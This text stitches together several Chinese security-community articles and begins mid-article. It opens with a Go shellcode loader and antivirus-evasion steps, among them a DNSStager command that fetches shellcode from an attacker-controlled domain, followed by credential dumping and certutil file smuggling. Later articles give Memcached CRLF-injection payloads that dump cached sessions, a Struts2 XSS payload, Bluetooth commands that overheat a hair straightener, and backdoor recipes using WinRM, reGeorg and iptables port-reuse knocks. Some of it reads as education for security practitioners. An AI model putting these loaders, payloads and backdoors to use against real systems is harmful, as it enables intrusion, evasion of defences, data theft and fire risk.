VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{0xfc, 0x48, ----shellcode----, 0xd5}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
最后在linux环境安装go语言环境，使用命令“CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build
shellcode.go”编译。
最后上传，发现文件未被删除：
小心翼翼地去执行一下：
没想到文件本身过了查杀，缺被拦截了访问行为：
本地允许后：
哇，国外的av和国内的av就是不一样，拦截规则卡的是真的死死的。
* 3.3 FourEye免杀
再试试比较不错的FourEye ：
地址为：<https://github.com/lengjibo/FourEye>
使用cs生成raw格式payload后放到linux：
根据教程：
得到exe上传，执行：
发现cs端有stager请求记录，说明已经下载了stager，可以根据stager内容进行执行了。但看本地环境发现依然拦截了后续请求：
说明加密执行后门本身没问题了，只是c2 server端可信程度不够，还可试试申请可信域名+c2可信证书+https加密上线了。
* 3.4 DNStager分离免杀
[参考文章《实战填坑|CS使用CDN隐藏C2》：](https://mp.weixin.qq.com/s/B30Unfh5yAN4A151P1gsMQ
"参考文章《实战填坑|CS使用CDN隐藏C2》：")
去申请了域名，部署了cdn，重新尝试go加密shellcode和FourEYe之后依然拦截通信请求行为。
[最后参考《DNSStager-DNS分离shellcode》：](https://mp.weixin.qq.com/s/bM_rsh8KxXwwyEkbHRTKsw
"最后参考《DNSStager-DNS分离shellcode》：")
终于成功获取了shell。
首先安装ming-w64，将CDN服务端解析的NS记录添加一个test.*.tk:
最后在vps处执行：
python3 dnsstager.py --domain test.*.tk --payload x64/c/ipv6 --output /home/a2.exe --prefix cdn- --shellcode_path /home/DNSStager/payload.bin --sleep 1 --xorkey 0x10
上传执行后终于获取：
如图：
终于可以喘口气，拿下了。
* 四：简单后渗透
* 4.1 内网信息收集
cs的自带功能，抓取密码：
获取到当前用户密码：
查看进程列表，发现其余进程均为低权限和system进程，说明无其他用户在此登录。
既然有域，那就进行一下域内信息收集，发现好像有各种限制:
net group "domain controllers" /domain 查看域控制器：
net group "domain admins" /domain 也是如此：
* 4.2 横向尝试
既然本机无其余用户信息，避免动静过大，就不再尝试提权至system了（主要杀软太牛逼），直接上传frp横向信息收集丫的：
我滴天？竟然上传失败？猜测是因为使用了CDN+诺顿检测请求太高的数据包，造成回传数据失败。那就换个思路，既然10M体量有问题，就拆分一半，最后再合并，同时避免后缀内容检测问题，先使用certutil编码一下frpc.exe为txt：
好家伙，10M直接干到14M，行，问题不大，中间拆分，各自一半：
最后的思路是分别本地解码为exe后：
certutil -decode 1.txt 1.exe
certutil -decode 2.txt 2.exe
再进行合并：
最后本地进行校验，查看文件是否完整：
certutil –hashfile 3.exe MD5
是一致的没错，实战环境上传txt：
解码：
合并后，执行：
我要抓狂了，竟然不能执行程序，好的吧，毕竟已经收获了很多，后续域渗透留待步下一步进行。
最后整理并总结完成后发现jboss业务已经关闭，下一步的思路使用regorge代理暂时也不可行，只能暂时先放下了。 | 社区文章 |
# 被人遗忘的Memcached内存注射
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/web/8987>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 写在前面**
wooyun主站也有过Memcached相关漏洞,但大多都是未授权访问,其实即使是部署得当的Memcached,如果碰上安全意识差的程序员哥哥,那么同样会出现Memcached安全风险,导致敏感内存泄露。
也就是本文要说的Memcached注入
**0x01 Memcached简介 &安全性分析**
Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载。
它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态、数据库驱动网站的速度。
用白话就是说,当传统web将访问产生的临时数据存储在后端数据库(如user sessions),部署了Memcached的应用会将user
sessions以及其他一些敏感信息存储在RAM中,增速同时也减轻后端数据库反复查询带来的负载。
Memcached创建者Dormando很早就写过两篇文章,告诫开发人员不要用memcached存储Session。但是很多开发者为了性能或者其他原因,依旧把session存储在memcached中。这样做,一旦memcached被攻击,直接将导致管理员或者是用户token泄露。
**0x02 Memcached协议**
当Memcache被部署之后,我们该如何向其中添加数据?我们通过一个cheat sheet了解一下Memcached的协议。
Memcached的语法由如下元素组成
{COMMAND}0x20{ARGUMENT}(LF|CRLF)
command字段有如下几条命令：
1. 存储操作(set, add, replace, append, prepend, cas)
2. 检索操作 (get, gets)
3. 删除操作 (delete)
4. 增减操作 (incr, decr)
5. touch
6. slabs reassign
7. slabs automove
8. lru_crawler
9. 统计操作(stats items, slabs, cachedump)
其他操作 (version, flush_all, quit)
下面给出几个安全测试中有用的命令
Command | 描述 | 实例
---|---|---
get | 读某个值 | get mykey
set | 强制设置某个键值 | set mykey 0 60 5
add | 添加新键值对 | add newkey 0 60 5
replace | 覆盖已经存在的key | replace key 0 60 5
flush_all | 让所有条目失效 | flush_all
stats | 打印当前状态 | stats
stats malloc | 打印内存状态 | stats malloc
version | 打印Memcached版本 | version
stats cachedump 读取内存中存储的条目
**0x03 Memcached代码实现**
部署好Memcached之后,一个调用Memcached的php代码是这样的。
<?php
$m = new Memcached();
$m->set("prefix_".$_GET[‘key’],"data");
为了体现漏洞的产生,我想这样写
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->set("key1 0 0 1rn1rnset injected 0 3600 10rn1234567890rn","1234567890",30);
?>
set("key1 0 0 1rn1rnset injected 0 3600 10rn1234567890rn","1234567890",30)
是的,这里也就能看到问题。
执行刚刚的命令的时候,server和client的通信是这样的(>表示发送到Memcached ,<表示从Memcached的返回)
> set key 0 0 1
> 1
< STORED
> set injected 0 3600 10
> 1234567890
< STORED
> 0 30 10
< ERROR
> 1234567890
< ERROR
可以看到,对Memcached的协议来讲,rn是可以用来分割命令的,所以说,我们能直接通过CLRF注入,将rn注入到将要传入Memcached的元素中(例如cookies),实现命令执行。
**0x04 Memcache Injection实例**
最近的一次ctf中,有一个典型的基于CLRF的Memcache注入。(目前该站可以访问)
[http://login2.chal.mmactf.link/login](http://login2.chal.mmactf.link/login)
login as admin
登录之后的请求是这样的
GET / HTTP/1.1
Host: login2.chal.mmactf.link
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/ 20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://login2.chal.mmactf.link/login
Cookie: ss=c4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb
Connection: keep-alive
在测试http头注入的时候,我们发现将%0a注入到cookies中时,也就是请求:
Cookie: ss=%0ac4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb
返回如下
</div>
<div id="info">
<p>MemcacheError:ERROR
ERROR</p>
</div>
</body>
</html>
恩,memcached出错了,那不就是刚刚提到的error吗?
> 1234567890
< ERROR
说明这里ss的value代入了memcached。
我们继续在cookies里面注入:ss=%0astats
MemcacheError:ERROR
STAT pid 988
STAT uptime 651664
STAT time 1442726665
STAT version 1.4.14 (Ubuntu)
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 17.256000
STAT rusage_system 18.232000
STAT curr_connections 5
STAT total_connections 946
STAT connection_structures 6
STAT reserved_fds 20
STAT cmd_get 615
STAT cmd_set 188
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 299
STAT get_misses 316
STAT delete_misses 0
STAT delete_hits 42
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 54350
STAT bytes_written 86307
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 16
STAT hash_bytes 524288
STAT hash_is_expanding 0
STAT expired_unfetched 15
STAT evicted_unfetched 0
STAT bytes 1137
STAT curr_items 8
STAT total_items 153
STAT evictions 0
STAT reclaimed 96
END
果然返回了memcached的stats
现在来做我们最想做的一件事情,dump内存中的东西看看:我们利用cachedump
stats cachedump {slab class} {number of items to dump}
这里需要介绍下 memcached是以slab class进行分类的 比如:
$ memcached -vv
slab class 1: chunk size 96 perslab 10922
slab class 2: chunk size 120 perslab 8738
slab class 3: chunk size 152 perslab 6898
slab class 4: chunk size 192 perslab 5461
我们可以看到每个class的编排
所以我们每一个都dump出来看看才好:
Cookie: %0astats cachedump 1 1000
返回为
MemcacheError:ERROR ITEM key [1 b; 1441762228 s] ITEM 12345 [20 b; 1441494967
s] END
当我遍历到class 3的时候:
Cookie: %0astats cachedump 3 1000
MemcacheError:ERROR
ITEM 3f063d8659f0f08c4454554294aca59bbe42cc6e11db23eb69f5a1c0a9486aa1 [19 b; 1442016274 s]
ITEM 0e9d0aecea498b15ee63d38dd4664dcfc75be0846ec4baee931b45a04462eeab [20 b; 1441494967 s]
ITEM 09cf27be606344f29bda74bd7c035e6d862c95025a2a6bb1785c8883ae65b18a [16 b; 1441494967 s]
ITEM b33542ed3c8bf5c2c346e26aac28a10055fa6a50c4948873810798e9f4cfca98 [20 b; 1441494967 s]
ITEM e391306f6481940ab3c796eb1253435b06e9a9357227de734b0ec3f58bd14d7f [19 b; 1442011213 s]
ITEM c706b288065ad5c29153d8773c3e3be6e8a07408cdf4e0e40e97917896e43839 [19 b; 1442012877 s]
ITEM a5e754e6e804bf7e49f8096242a6566cc337b06aa6c2dafda3f86edccf8cb4b3 [19 b; 1442011191 s]
ITEM edf938c33d05ff9f8696415d5ef817014a5cc2906abe24576fdafe8ae58dde48 [19 b; 1442010879 s]
ITEM 5f7d07e310e9fad574d0975741a9c05d0d75d7157ce9bb9546b7f58d940cee7a [19 b; 1442006048 s]
ITEM 3d1a32800a501fe7387287ba4631ae9318206ef96083a29f35fd1ef42f7a85c5 [19 b; 1441998916 s]
终于注入到我们所需要的class中去。
**0x05 参考**
Memcache cheat sheet: <http://lzone.de/cheat-sheet/memcached>
Memcached Injection:
<https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf> | 社区文章 |
# 前言
现在再议Struts2 怕是吸引不了多少看官的眼球，但是这个坑我觉得是对惯性思维的挑战，并不是一点营养都没有。
# 共识
对于输入的净化，一般我们认为最小化限制会更加安全可靠。比如对于Java这种强类型语言，使用int接受参数比String接受参数更加窄化了输入字符空间，自然在防御XSS、SQLi、命令注入等漏洞更加可靠。
# 一句话概括
这里要说的坑就是在Struts2中即便使用int（其他简单类型也相似）接受参数，在视图中仍然可能输出String类型，因此会存在 **XSS** 的隐患。
# Demo
简单模拟一个根据商品id查询商品信息并将商品信息在页面中输出。
**Action**
public class ProductAction extends ActionSupport{
private int id; //
@Override
public String execute() {
Product product = null; //模拟查询，结果为空
ServletActionContext.getRequest().setAttribute("target", product);
return SUCCESS;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
}
**struts-product.xml**
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
"http://struts.apache.org/dtds/struts-2.5.dtd">
<struts>
<package name="default" extends="struts-default" >
<interceptors>
<interceptor-stack name="customizedStack">
<interceptor-ref name="exception" />
<interceptor-ref name="alias" />
<interceptor-ref name="servletConfig" />
<interceptor-ref name="i18n" />
<interceptor-ref name="prepare" />
<interceptor-ref name="chain" />
<interceptor-ref name="scopedModelDriven" />
<interceptor-ref name="modelDriven" />
<interceptor-ref name="fileUpload" />
<interceptor-ref name="checkbox" />
<interceptor-ref name="datetime" />
<interceptor-ref name="multiselect" />
<interceptor-ref name="staticParams" />
<interceptor-ref name="actionMappingParams" />
<interceptor-ref name="params" />
<interceptor-ref name="conversionError" />
<interceptor-ref name="validation">
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
<interceptor-ref name="debugging" />
<interceptor-ref name="deprecation" />
</interceptor-stack>
</interceptors>
</package>
<package name="product" extends="default" namespace="/">
<default-interceptor-ref name="customizedStack" />
<action name="productInfo" class="demo.action.ProductAction">
<result name="success">/WEB-INF/pages/jsp/productInfo.jsp</result>
</action>
</package>
</struts>
**productInfo.jsp**
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Product Information</title>
</head>
<body>
<h1>Product Information</h1>
<s:if test="%{target==null}">
Sorry, Product with id:<strong> ${id}</strong> not found!
</s:if>
<s:else>
Product with id: <strong>${id}</strong> found:
<div>
ID ：${id}</br>
Name ：${name}</br>
Price ：${price}</br>
Description：${description}</br>
</div>
</s:else>
</body>
**id=1**
**id=xianzhi**
**id= <svg onload=alert('Oops')>**
# 原因
（仍以上面的Demo为例子简单解释）
1）大家知道，在Struts2
中有众多的Interceptor，其中com.opensymphony.xwork2.interceptor.ParametersInterceptor会找到参数对应的setter。当客户端传递的参数值是String类型（例如“xianzhi”），尝试从ProdcutAction中寻找
void setId(String id)，不幸的是并没有找到（只有void setId(int id)，因此会出现错误。
2）另一个Interceptor--com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor 会将id
String类型的参数值保存在Map中。
//ConversionErrorInterceptor#intercept
public String intercept(ActionInvocation invocation) throws Exception {
ActionContext invocationContext = invocation.getInvocationContext();
Map<String, Object> conversionErrors = invocationContext.getConversionErrors();
ValueStack stack = invocationContext.getValueStack();
HashMap<Object, Object> fakie = null;
for (Map.Entry<String, Object> entry : conversionErrors.entrySet()) {
String propertyName = entry.getKey();
Object value = entry.getValue();
if (shouldAddError(propertyName, value)) {
String message = XWorkConverter.getConversionErrorMessage(propertyName, stack);
Object action = invocation.getAction();
if (action instanceof ValidationAware) {
ValidationAware va = (ValidationAware) action;
va.addFieldError(propertyName, message);
}
if (fakie == null) {
fakie = new HashMap<Object, Object>();
}
fakie.put(propertyName, getOverrideExpr(invocation, value));
}
}
if (fakie != null) {
// if there were some errors, put the original (fake) values in place right before the result
stack.getContext().put(ORIGINAL_PROPERTY_OVERRIDE, fakie);
invocation.addPreResultListener(new PreResultListener() {
public void beforeResult(ActionInvocation invocation, String resultCode) {
Map<Object, Object> fakie = (Map<Object, Object>) invocation.getInvocationContext().get(ORIGINAL_PROPERTY_OVERRIDE);
if (fakie != null) {
invocation.getStack().setExprOverrides(fakie);//参数值"xianzhi"存入Map
}
}
});
}
return invocation.invoke();
}
//OgnlValueStack#setExprOverrides
**
* @see com.opensymphony.xwork2.util.ValueStack#setExprOverrides(java.util.Map)
*/
public void setExprOverrides(Map<Object, Object> overrides) {
if (this.overrides == null) {
this.overrides = overrides;
} else {
this.overrides.putAll(overrides);//参数值"xianzhi"存入Map（overrides）中
}
}
3)Action执行完之后渲染页面（这里是productInfo.jsp），页面的${id}怎么解析呢？通过ognl一番折腾，进入下面的方法。
//OgnlValueStack
private Object tryFindValue(String expr) throws OgnlException {
Object value;
expr = lookupForOverrides(expr);
if (defaultType != null) {
value = findValue(expr, defaultType);
} else {
value = getValueUsingOgnl(expr);
if (value == null) {
value = findInContext(expr);
}
}
return value;
}
private String lookupForOverrides(String expr) {
if ((overrides != null) && overrides.containsKey(expr)) {
expr = (String) overrides.get(expr);//overrides是不是有点眼熟？对了，就是上面存“xiaozhi”的Map
}
return expr;
}
# 谁背锅
如果将struts-product.xml简化为如下：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
"http://struts.apache.org/dtds/struts-2.5.dtd">
<struts>
<package name="product" extends="struts-default" namespace="/">
<action name="productInfo" class="demo.action.ProductAction">
<result name="success">/WEB-INF/pages/jsp/productInfo.jsp</result>
</action>
</package>
</struts>
浏览器访问/productInfo?id=xianzhi
咦，404了！
如果再将struts-product.xml修改为如下：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
"http://struts.apache.org/dtds/struts-2.5.dtd">
<struts>
<package name="product" extends="struts-default" namespace="/">
<action name="productInfo" class="demo.action.ProductAction">
<result name="input">/WEB-INF/pages/jsp/productInfo.jsp</result>
</action>
</package>
</struts>
咦，又回来了！
看404报错信息“ No result defined for action xxx and result
input”，为什么result是input呢？我们最初只定义了success！
原来是拦截器com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor改变了result：
//DefaultWorkflowInterceptor#doIntercept
* Intercept {@link ActionInvocation} and returns a <code>inputResultName</code>
* when action / field errors is found registered.
*
* @return String result name
*/
@Override
protected String doIntercept(ActionInvocation invocation) throws Exception {
Object action = invocation.getAction();
if (action instanceof ValidationAware) {
ValidationAware validationAwareAction = (ValidationAware) action;
if (validationAwareAction.hasErrors()) {
if (LOG.isDebugEnabled()) {
LOG.debug("Errors on action [#0], returning result name [#1]", validationAwareAction, inputResultName);
}
String resultName = inputResultName; //inputResultName 默认是"input"
resultName = processValidationWorkflowAware(action, resultName);
resultName = processInputConfig(action, invocation.getProxy().getMethod(), resultName);
resultName = processValidationErrorAware(action, resultName);
return resultName;
}
}
return invocation.invoke();
}
回头看我们的Demo配置，并没有DefaultWorkflowInterceptor，但是在struts-default package中定义了
<interceptor-stack name="defaultStack">
<interceptor-ref name="exception"/>
<interceptor-ref name="alias"/>
<interceptor-ref name="servletConfig"/>
<interceptor-ref name="i18n"/>
<interceptor-ref name="prepare"/>
<interceptor-ref name="chain"/>
<interceptor-ref name="scopedModelDriven"/>
<interceptor-ref name="modelDriven"/>
<interceptor-ref name="fileUpload"/>
<interceptor-ref name="checkbox"/>
<interceptor-ref name="datetime"/>
<interceptor-ref name="multiselect"/>
<interceptor-ref name="staticParams"/>
<interceptor-ref name="actionMappingParams"/>
<interceptor-ref name="params"/>
<interceptor-ref name="conversionError"/>
<interceptor-ref name="validation">
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
<interceptor-ref name="workflow"> <!--就是它！-->
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
<interceptor-ref name="debugging"/>
<interceptor-ref name="deprecation"/>
</interceptor-stack>
# 两种情况可能踩坑
1）自定义拦截器配置
2）定义了input “resultName”
笔者曾经跟官方讨论过是否应该杜绝这种坑，但是断断续续两个月的邮件通信后，结论是这应该交给开发者去处理。 | 社区文章 |
### 前言
这些年我们一直在尝试通过黑客技术“点燃”一些智能设备。我们很多时候只是获得了一个碳黑的壶子，仅此而已。
后来我们发现了一些智能的直发器。其中，一款名为Glamoriser牌的直发器在圣诞期间的电视节目上非常推崇；由于这款直发器可以通过蓝牙连接到手机APP，于是我对它产生了一些兴趣。
在设备开机状态，你可以设置温度和烫发时间。
这款直发器的最高温度可超过纸张燃点（233C/451F）。考虑到我们狂热的想法，它是一个最佳的目标。英国一家消防部门组织的一项在线调查显示，直发器在全英引起多达65万起房屋的火灾。
这意味超过三分之一的使用者烫伤了自己！
我们可以黑掉它们来引发火灾？答案是肯定的！
### 移动App
这是这款很简单的App，有温度控制和定时功能。
Googleplay Store:
<https://play.google.com/store/apps/details?id=com.fenda.diva>
APK文件没有做太多混淆，可以反编译出大部分应用代码。这点方便我们稍后寻找某些特定代码。
这个应用直接与Alexa（女性语音助手）和AWS服务连接。下图中 “Assets”文件夹中存储了一个通用API密钥：
`api_key.txt`文件其实是一个JWT（Java Web Token）。
此应用还启用了备份：
### 蓝牙
用BT4 dongle和BLEAH连接，我们可以更详细地看到设备情况：
该设备通用名称为“Bluetooth Styler”，其中“Peripheral Privacy
Flag”（周边隐私标志）串口被默认关闭，我们可以设置为“WRITE”然后转接到0015句柄...
OK，让我们来看一看代码。
观察这个应用是如何调用BLE（[蓝牙低功耗](https://zh.wikipedia.org/zh-hans/蓝牙低功耗)）控制器，我们可以看到所有实际都被记录到LOG中：
全局搜索代码文件，我们可以找到通信状态下的BLE UUID：
`BES_DATA_CHARACTERISTIC_TX_UUID`是之前写入的特性（characteristic）。
从下面代码可以看到应用处理BLE指令的方法：
命令是由不同部分的代码组合而成的：
`CheckSum`类中计算值方法如下：
现在我们搞清楚了如何发送BLE蓝牙指令，让我们尝试实践。查看手机SD卡，发现应用创建大量文件和文件夹：
其中，Log.txt文件中记载了BLE连接的详细情况：
2019-02-12 12:43:44V<BleService>---onConnectionStateChanged connected = false
2019-02-12 12:43:44V<BleService>---isHumanDisconnect = false
2019-02-12 12:43:44V<BleService>---quickyDisconnectCount = 0
2019-02-12 12:43:44V<BleService>---totalReconnectCount = 1
2019-02-12 12:43:44V<BleService>---totalReconnectCount < 10 and equels = 1
2019-02-12 12:43:44V<BleService>---totalReconnectCount < 5 and reconnect after 500
2019-02-12 12:43:44V<BleService>---handleMessage msg.what == RECONNECT reconnectMAC= F0:13:C3:00:4B:8C
2019-02-12 12:43:44V<BleService>---onConnectionStateChanged connected = true
2019-02-12 12:43:45V<BleService>---onConnectionStateChanged handle discoverServices
2019-02-12 12:43:45V<BleService>---onServicesDiscovered() + status = 0
2019-02-12 12:43:45V<BleService>---onCharacteristicNotifyEnabled() + status = 0
2019-02-12 12:43:45V<BleService>---READY TO SEND DATA IS = 54,45,eb,50,c8,00,05,f8,
2019-02-12 12:43:45V<BleService>---READY TO SEND DATA IS WRITH TO HAL RET IS = true
2019-02-12 12:43:45V<BleService>---onWritten() + status = 0
2019-02-12 12:43:45V<BleService>---onReceive BES_DATA_CHARACTERISTIC_RX_UUID
2019-02-12 12:43:45V<BleService>---onReceive 54,45,f8,
从该日志文件中我们可以看到设备发送确认传输命令，确认已接收到命令并执行操作。更改手机应用上的某些值，然后再查看日志文件，我们可以看出发送的数据：
54,45,eb,50,50,00,05,70, 5 mins 80 °C
54,45,eb,50,5a,00,05,66 5 mins 90 °C
54,45,eb,50,64,00,05,5c, 5 mins 100 °C
54,45,eb,50,96,00,05,2a 5 mins 150 °C
54,45,eb,50,c8,00,05,f8 5 mins 200 °C
现在我们可以尝试控制直发器，但是我们先要计算更改发送值后，经过`checksum`方法会变成什么。为此我们写了一段Java 脚本：
通过这段Java 代码，我们可以计算出Checksum，并且打印出我们需要发送的代码。
还有重要的一点是，设备和手机间没有任何BLE验证。只要应用处于开启状态，数据可以直接发送给设备。
bleah -b “f0:13:c3:00:4b:8c” -u “0783b03e-8535-b5a0-7140-a304f013c3ba” -d “0x5445EB50EB0014C6”
现在只要应用被打开，我们就可以发送命令给直发器，然后控制温度。
经测试，设备温度不能超过235C，但这并不重要。如果攻击者发送温度超过235C或小于50C的指令，设备将不会工作。猜测因为该区间为设备的温度界点。此外，设备运转时间不得超过20分钟。
* * *
文章链接：<https://www.pentestpartners.com/security-blog/burning-down-the-house-with-iot/> | 社区文章 |
# 正向shell总结
## 一.winrm，http.sys(端口复用)
### 介绍
winrm
WinRM全称是Windows Remote Management，是微软服务器硬件管理功能的一部分，能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统，获得一个类似Telnet的交互式命令行shell，而底层通讯协议使用的是HTTP。
HTTP.sys
HTTP.sys驱动是IIS的主要组成部分，主要负责HTTP协议相关的处理，它有一个重要的功能叫Port Sharing，即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口，只需要各自注册的url前缀不一样即可。
winrm默认监听端口：
5985 http
5986 https
### 利用场景及其限制
1. 目标机器开启winrm服务
2. 目标机器是win server，windows主机不行
3. 目标机器winrm没有白名单(一旦白名单ip是无法登录的)
4. 组合HTTP.sys驱动自带的端口复用功能
5. 必须要知道明文密码(也可以使用hash传递)
### 靶机配置
开启winrm服务，并且监听80端口
winrm quickconfig -q
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
### 本地配置
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
### 执行命令
winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
执行命令是cmd即可进行shell
winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org
可以在远程主机启动计算器
Invoke-Command-ComputerName 192.168.198.129 -Credential root -Command {ipconfig}
# Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}
# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}
### HASH登录
项目地址：
https://github.com/Hackplayers/evil-winrm
使用方法：
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
### 错误以及其他问题解决
原因：仅仅支持server，不支持windows
* UAC问题
WinRM服务也是受UAC影响的，所以本地管理员用户组里面只有administrator可以登录，其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM，需要修改注册表设置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
* 在已有WinRM服务的情况下，对于非80端口的web服务要如何处理
把监听改成某非80端口，然后有别的需要可以端口转发
执行chcp 437即可解决
原因是：chcp不同导致的
### 防御手段
* 设置主机白名单，仅允许某些可信的计算机连接到 WinRM 服务器。
* 严格限制，确保仅允许本地管理组和 `WinRMRemoteWMIUsers__` 组中的用户有权使用 WinRM。
### 参考链接
[端口复用后门 - 0x4D75 - 博客园
(cnblogs.com)](https://www.cnblogs.com/0x4D75/p/11381449.html)
## 二.HTTP Server API
本程序利用HTTP.sys官方接口，向该驱动注册url前缀，与IIS共享端口，从而实现后门功能。
项目地址：
https://github.com/Reuodut/Windows-Hack-Code
### 参考自
https://www.cnblogs.com/reuodut/articles/11848530.html
## 三.reGeorg
项目地址：
https://github.com/L-codes/neoreg
### 1.生成密码
python neoreg.py generate -k password
### 2.上传
### 3.本地开启代理
python neoreg.py -k password -u "http://192.168.198.129/tunnel.php"
本地的1080端口即可访问
### 4.代理
## 四.iptables复用
### iptables基础
sudo iptables -L -v --line-number
查看iptables的条目
sudo iptables -D INPUT 1
删除iptables条目
重启计算机的时候
iptables自动清除
### 条件
如果目标严格禁止仅仅开放80端口，我们就需要把80的ssh流量转发到22的ssh
### 实验环境
kali:192.168.198.134
ubuntu:192.168.198.133
80端口开放
### 1.根据源地址做端口复用
iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --dport 80 -j REDIRECT --to-port 22
将从kali访问的80端口的流量重定向到22端口
#### 问题
别的师傅说因为所有的流量都转发到了22，所以正常访问80端口会访问不了，但是经过我的实际测试，我用的python开启的http服务，连接80端口的ssh的时候，也是可以正常访问的。
不限制访问ip
### 2.根据源地址做端口的访问(限制源IP)
iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --sport 33333 --dport 80 -j REDIRECT --to-port 22
只有192.168.198.134(kali)的33333端口访问80的流量会被转发到22端口去
nohup socat tcp-listen:44444,fork,reuseaddr tcp:192.168.198.133:80,sourceport=33333,reuseaddr &
ssh -p 44444 [email protected]
我们把本地44444端口转发到33333端口，然后我们访问本地的44444端口
#### 问题
如果想要多开几个ssh连接，我们只需要把端口再转发几个就行了
### 3.利用icmp做开关
iptables -t nat -N LETMEIN
#创建端口复用链
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#创建端口复用规则，将流量转发至 22 端口
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
#开启开关，如果接收到一个长为 1139 的 ICMP 包，则将来源 IP 添加到加为letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
#关闭开关，如果接收到一个长为 1140 的 ICMP 包，则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
#如果发现 SYN 包的来源 IP 处于 letmein 列表中，将跳转到 LETMEIN 链进行处理，有效时间为 3600 秒
开启复用
ping -c 1 -s 1111 192.168.198.133
#向目标发送一个长度为 1111 的 ICMP 数据包（加上包头28，总长度实际为1139）
关闭复用
ping -c 1 -s 1112 192.168.198.133
#向目标发送一个长度为 1112 的 ICMP 数据包（加上包头 28，总长度实际为 1140）
开启：
关闭：
#### 问题
如果网络中禁止ping，或者没有ping，则无法利用
### 4.利用TCP协议做开关
ubuntu中：
iptables -t nat -N LETMEIN
#创建端口复用链
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#创建端口复用规则，将流量转发至 22 端口
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#开启开关，如果接收到一个含有threathuntercoming的TCP包，则将来源 IP 添加到加为letmein的列表中
